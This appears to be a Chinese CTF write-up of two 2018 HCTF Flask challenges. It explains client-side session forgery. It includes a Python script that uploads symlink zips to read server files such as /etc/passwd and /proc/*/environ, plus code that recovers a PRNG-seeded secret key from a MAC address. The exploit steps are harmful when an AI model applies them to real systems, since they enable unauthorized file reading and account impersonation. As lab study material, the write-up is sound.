从两道HCTF题分析flask客户端session安全问题
flsak 客户端session安全问题
客户端session,顾名思义就是存在客户端的session(即放在cookie里)。对于很多我们熟悉的web开发环境都是使用服务器session,就是把session存放在服务器中,而在cookie中设置一个sessionid字段,从而每次带cookie的访问,服务器都可以检索sessionid找到session值。
然而flask作为一个非常轻量级的web框架,并不支持将session保存到服务器,而是选择将session保存到cookie中返回给用户。当然虽然我们可以查看到session内容,因为给session加了签名,所以理论上如果我们不知道secret_key的话我们是无法伪造session的。但是如果我们能借助其他漏洞比如任意文件读取获得了secret_key值的话,我们就可以伪造session了。更多关于客户端session的安全问题详解可以看P牛的这篇文章。
接下来,我们来看两道2018年hctf的web题,都运用了伪造flask客户端session的方法。这两道题在github都有docker镜像可以下载,有兴趣的同学可以尝试本地搭建。
2018HCTF admin
伪造session其实是这道题的一个非预期解,但既然可以用,那么我也来分析一下。
进入网页后注册一个账号,登录,在修改密码功能的HTML源码中看到了整个项目源码的github地址
拿到源码,是flask项目,发现了下面两个文件的关键信息。
# app/config.py
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
# app/templates/index.html
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
既然我们已经可以拿到了secret_key,而且,只要能伪装成admin用户访问index.html我们就可以拿到flag。
怎么伪造session呢? 前面我们已经说了,客户端session意味着session是暴露给用户的,只是加了签名,我们就无法伪造了。既然这样我们先看看session内容是什么。

纳尼,并不知道这一坨东西是什么鬼呀,其实p牛在它的文章中说了,session内容是经过base64编码和zlib压缩过的,https://github.com/noraj/flask-session-cookie-manager这个工具可以解码session,而且待会伪造session也要用到它。

好,看到了session的内容,我们将其中的name字段和user_id字段伪造一下。

拿这个session去访问主页就可以拿到flag了。
2018HCTF hideandseek
这题打开有个登录界面,任意账号密码可以登录除了admin用户。进去后只能上传zip文件,而且上传后会把zip包解压缩并且返回压缩包中最后一个文件的内容。这样我们就可以压缩一个软链文件,指向我们希望读取的文件。
下面这个脚本很简单,先接受用户输入一个文件名(比如/etc/passwd)并借此创建一个软链压缩成zip上传到题目服务器中查看返回信息。
import os
import requests
def createlink(linkway):
os.system('ln -s %s link'%linkway)
os.system('zip -y -m test.zip link')
def uploadfile():
url = 'http://127.0.0.1:5000/upload'
files = {'the_file':open('test.zip', 'rb')}
data = {'submit':'Submit'}
r = requests.post(url, data=data, files=files)
print(r.text)
linkway = input()
createlink(linkway)
uploadfile()
读取/etc/passwd成功

现在我们需要的是读取一些文件看看有啥有用的信息可以获取。我们从客户端session大概率能猜出来可能用的就是flask。既然可以读取文件我们就可以读取/proc/pid/environ(pid换成进程号),从进程环境变量中看看正在跑的是什么程序,以及一些敏感信息。
for i in range(10000):
linkway = '/proc/%d/environ'%i
createlink(linkway)
uploadfile()
扫了一遍,发现了nginx的环境变量,并且看到了uwsgi配置文件的位置/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
读取这个文件,发现(flask)项目main函数真正位置。

读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
看到flask源码。
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
可以看到secret_key是通过random函数生成的,而random的种子是uuid.getnode(),即是mac地址。而我们是可以通过读取文件/sys/class/net/eth0/address
来获取到mac地址的。这样的话我们就可以获得伪随机种子,那么就可以的到伪随机数,即secret_key就可以算出来了。
并且在此时,我们读取templates/index.html
可以看到几行关键性代码。
{% if user == 'admin' %}
Your flag: <br>
{{ flag }}
{% else %}
此时,我们只要通过伪造session伪装成admin用户登录就可以了。
# 将mac转化成secret_key
import random
mac = '02:42:ac:11:00:02'
mac = ''.join(mac.split(':'))
mac = int(mac, 16)
random.seed(mac)
print(str(random.random()*100))
我拿到secret_key值为42.42408197657815,运用上面的那个工具,计算出伪造的session。

拿这个session登录,拿到flag。
